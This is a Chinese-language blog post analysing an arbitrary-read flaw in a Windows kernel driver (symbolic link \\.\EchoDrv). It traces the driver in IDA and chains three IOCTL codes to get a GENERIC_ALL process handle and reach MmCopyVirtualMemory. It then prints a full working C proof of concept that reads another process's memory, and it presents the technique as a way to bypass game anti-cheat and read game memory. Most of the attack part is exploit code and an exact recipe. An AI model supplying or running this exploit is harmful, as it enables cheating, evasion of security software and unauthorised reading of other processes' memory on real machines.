某驱动任意读漏洞分析 - 可用于游戏内存数据读取

涉及到的核心函数

MmCopyVirtualMemory:是 Windows 内核模式下的一个核心函数,主要用于在不同进程的虚拟地址空间之间,或在进程与内核空间之间安全地复制内存数据。他并非公开文档化的官方 API,但被 Windows 内核内部广泛使用,是实现进程内存读写功能的基础。

cpp 复制代码
NTSTATUS MmCopyVirtualMemory(
    IN PEPROCESS SourceProcess,      // 源进程的 EPROCESS 指针
    IN PVOID SourceAddress,          // 源进程中的虚拟地址
    IN PEPROCESS TargetProcess,      // 目标进程的 EPROCESS 指针
    OUT PVOID TargetAddress,         // 目标进程中的虚拟地址
    IN SIZE_T BufferSize,            // 要复制的字节数
    IN KPROCESSOR_MODE PreviousMode, // 调用者模式(通常为 KernelMode)(也可为 UserMode)
    OUT PSIZE_T ReturnSize           // 实际复制的字节数(可选)
);

导入 IDA,找到 MmCopyVirtualMemory 函数,如下图所示

接着交叉引用看谁调用了 MmCopyVirtualMemory 这个函数,如下图所示 sub_140001B80 调用了 MmCopyVirtualMemory 函数

接着交叉引用可以看到 sub_140001830 调用了 sub_140001B80 函数

在 sub_140001B80 函数中可以获取到 IOCTL 控制码,如下图所示可知要进入 sub_140001B80 需要满足 IOCTL 控制码为 0x60A26124。sub_140001B80 也就是任意读漏洞函数

当然在进入 switch 前要先满足 dword_14000410C 的值不为 0

dword_14000410C 是一个全局变量,交叉引用看看该全局变量的值怎么获取,如下图所示可以看到 dword_14000410C 存储的是进程 ID。

并且可以看到获取进程 PID 的操作是在 sub_1400012BC 函数中的

要进入 sub_1400012BC 函数需要满足 IOCTL 控制码为 0x9E6A0594

0xE6224248 分支

接着先分析一下 0xE6224248 分支

PsLookupProcessByProcessId 是 Windows 内核模式下的一个核心函数,用于根据指定的进程标识符(PID)查找并返回对应进程的 EPROCESS 结构体指针。

cpp 复制代码
NTSTATUS PsLookupProcessByProcessId(
    [in]  HANDLE ProcessId,
    [out] PEPROCESS *Process
);

ObOpenObjectByPointer 是 Windows 内核模式下的一个核心函数,用于通过对象的指针直接打开该对象并返回一个句柄。

cpp 复制代码
NTSTATUS ObOpenObjectByPointer(
    [in]  PVOID                   Object,
    [in]  ULONG                   HandleAttributes,
    [in, optional] PACCESS_STATE  PassedAccessState,
    [in]  ACCESS_MASK             DesiredAccess,
    [in, optional] POBJECT_TYPE   ObjectType,
    [in]  KPROCESSOR_MODE         AccessMode,
    [out] PHANDLE                 Handle
);

如下图所示,0xE6224248 分支的作用是:接收一个进程 ID(用户态传递) -> 通过 PsLookupProcessByProcessId 找到进程对象 -> 通过 ObOpenObjectByPointer 打开进程句柄 -> 将句柄存入 IRP 的 MdlAddress 字段返回。

AssociatedIrp.MasterIrp->MdlAddress

所以 0xE6224248 分支的作用是传入目标进程 ID 然后获取目标进程的句柄。这样在构造数据缓冲区的话就需要传递 2 个成员进去,一个是 PID,一个是访问权限

复制代码
cpp 复制代码
v7->Type     :PID
v7->Size + 1 :访问权限
cpp 复制代码
typedef struct {
    DWORD       Type;    // PID
    ACCESS_MASK access;  // 访问权限
    HANDLE      handle;  // 存储返回的句柄
}HandlerStruct;

0x60A26124 分支

cpp 复制代码
ObReferenceObjectByHandle(
    *(HANDLE *)&v8->Type,          // Handle:从IRP的Type字段读取的句柄值
    0,                             // DesiredAccess:0(无特定权限)
    (POBJECT_TYPE)PsProcessType,   // ObjectType:进程对象类型
    0,                             // AccessMode:KernelMode(内核模式)
    (PVOID *)&Process,             // Object:输出的进程对象指针
    0LL                            // HandleInformation:无
)

这里的 &v8->Type 表示的是一个句柄

这里可能会有疑问,Type 存储的到底是 PID 还是句柄。其实都可以。在 0xE6224248 分支的 PsLookupProcessByProcessId 中 Type 作为一个 PID ;在 0x60A26124 分支的 ObReferenceObjectByHandle 中 Type 作为一个句柄

原因 :Windows 内核中,HANDLE 本质是一个无符号整数(32 位系统是 DWORD,64 位系统是 ULONG64),而 PID 也是无符号整数,因此驱动可以不做类型校验,直接将同一个内存字段 Type 在不同分支下解析为不同含义,这也是该驱动的重要漏洞点。攻击者可以任意构造 Type 字段的值,在不同分支间传递数据,比如把 0xE6224248 分支返回的句柄直接填写到 Type 字段,触发 0x60A26124 分支

要调用 MmCopyVirtualMemory,必须传 4 个核心参数,如上图所示 IDA 在反编译的时候并没有显示指出参数但是不代表不需要。

参数 对应的 IRP 字段 含义
SourceProcess AssociatedIrp.MasterIrp->Type 目标进程对象
SourceAddress AssociatedIrp.MasterIrp->MdlAddress 要读取的内存地址
TargetAddress AssociatedIrp.MasterIrp->AssociatedIrp.MasterIrp 接收数据的缓冲区地址
BufferSize AssociatedIrp.MasterIrp->ThreadListEntry.Flink 要读取的长度
cpp 复制代码
typedef struct {
    HANDLE sourceProcess;     // 目标进程对象
    void* sourceAddress;      // 要读取的内存地址
    void* getInfoBuffer;      // 接收数据的缓冲区地址
    size_t length;            // 要读取的长度
}ReadAddress;

流程总结

1、获取到符号链接:\\.\EchoDrv

2、令控制码为 0x9E6A0594,为 dword_14000410C (PID) 变量赋值,使其能够满足 if 条件执行 switch 语句

3、令控制码为 0xE6224248,获取到目标进程句柄

4、令控制码为 0x60A26124,实现最终的指定内存读取

这类漏洞常被用来绕过游戏反作弊系统实现 内存 读取操作。

代码编写

cpp 复制代码
DeviceIoControl 参数解释
- hDevice Long,             设备句柄
- dwIoControlCode Long,     应用程序调用驱动程序的控制命令,就是IOCTL_XXX IOCTLs。
- lpInBuffer Any,           应用程序传递给驱动程序的数据缓冲区地址。
- nInBufferSize Long,       应用程序传递给驱动程序的数据缓冲区大小,字节数。
- lpOutBuffer Any,          驱动程序返回给应用程序的数据缓冲区地址。
- nOutBufferSize Long,      驱动程序返回给应用程序的数据缓冲区大小,字节数。
- lpBytesReturned Long,     驱动程序实际返回给应用程序的数据字节数地址。
- lpOverlapped OVERLAPPED,  这个结构用于重叠操作。针对同步操作,请用ByVal As Long传递零值

安装并启动驱动服务

cpp 复制代码
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>

typedef struct {
    DWORD       Type;         // PID
    ACCESS_MASK access;       // 访问权限
    HANDLE      handle;       // 存储返回的句柄
}HandlerStruct;

typedef struct {
    HANDLE sourceProcess;     // 目标进程对象
    void* sourceAddress;      // 要读取的内存地址
    void* getInfoBuffer;      // 接收数据的缓冲区地址
    size_t length;            // 要读取的长度
}ReadAddress;

int main() {
    // 设置控制台输出编码
    SetConsoleOutputCP(CP_UTF8);

    // 以读写方式打开驱动程序
    HANDLE hDevice = CreateFileA("\\\\.\\EchoDrv", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("驱动打开失败\n");
        return -1;
    }

    // 让驱动填充 PID
    void* buffer = (void*)malloc(4096);
    BOOL successOne = DeviceIoControl(hDevice, 0x9E6A0594, NULL, NULL, buffer, 4096, NULL, NULL);
    if (!successOne) {
        printf("Error IOCTL: 0x9E6A0594\n");
        return -1;
    }
    free(buffer);

    // 获取进程句柄
    HandlerStruct handlerStruct = { 0 };
    handlerStruct.Type = 5152;            // 目标进程 PID
    handlerStruct.access = GENERIC_ALL;   // 设置访问权限

    BOOL successTwo = DeviceIoControl(hDevice, 0xE6224248, &handlerStruct, sizeof(handlerStruct), &handlerStruct, sizeof(handlerStruct), NULL, NULL);
    if (!successTwo) {
        printf("Error IOCTL: 0xE6224248\n");
        return -1;
    }
    printf("Process Handle: %d\n", handlerStruct.handle);      // 返回进程的句柄

    // 读取目标进程内存
    uint64_t returnBuffer = 0;
    ReadAddress outputAddress = { 0 };
    ReadAddress readAddress = { 0 };
    readAddress.sourceProcess = handlerStruct.handle;          // 目标进程句柄
    readAddress.sourceAddress = (void*)0x7FF7594C1008;         // 目标进程的内存地址
    readAddress.length = 8;                                    // 读 8 个字节
    readAddress.getInfoBuffer = &returnBuffer;                 // 存放结果的缓冲区地址

    BOOL successThree = DeviceIoControl(hDevice, 0x60A26124, &readAddress, sizeof(readAddress), &outputAddress, sizeof(readAddress), NULL, NULL);
    if (!successThree) {
        printf("Error IOCTL: 0x60A26124\n");
        return -1;
    }

    printf("从地址 0x%p 读取的值:0x%01611x\n", readAddress.sourceAddress, returnBuffer);

    system("pause");

    return 0;
}

只要你传的 IOCTL 码正确,驱动就会按固定偏移解析 IRP 缓冲区,不管你用什么结构体,只要字段对齐就能成功

相关推荐
黄金龙PLUS2 小时前
数据加密标准算法DES
网络安全·密码学·哈希算法·同态加密
啥都想学点2 小时前
pikachu靶场——暴力破解(Kali系统)
网络安全
PAK向日葵5 小时前
【C++】整数类型(Integer Types)避雷指南与正确使用姿势
c++·安全·面试
小付同学呀10 小时前
C语言学习(五)——输入/输出
c语言·开发语言·学习
码农阿豪10 小时前
Nacos 日志与 Raft 数据清理指南:如何安全释放磁盘空间
java·安全·nacos
国科安芯11 小时前
芯片抗单粒子性能研究及其在商业卫星测传一体机中的应用
嵌入式硬件·安全·fpga开发·性能优化·硬件架构
黑果魏叔11 小时前
手滑点错更新也不怕!超详细 Mac 系统更新屏蔽指南(附安全恢复方案)
安全·macos
绿蕉11 小时前
飞机与高铁,谁更安全?——基于中国出行死亡数据的深度对比分析
安全·飞机·高铁
左手厨刀右手茼蒿11 小时前
Flutter for OpenHarmony: Flutter 三方库 hashlib 为鸿蒙应用提供军用级加密哈希算法支持(安全数据完整性卫士)
安全·flutter·华为·c#·哈希算法·linq·harmonyos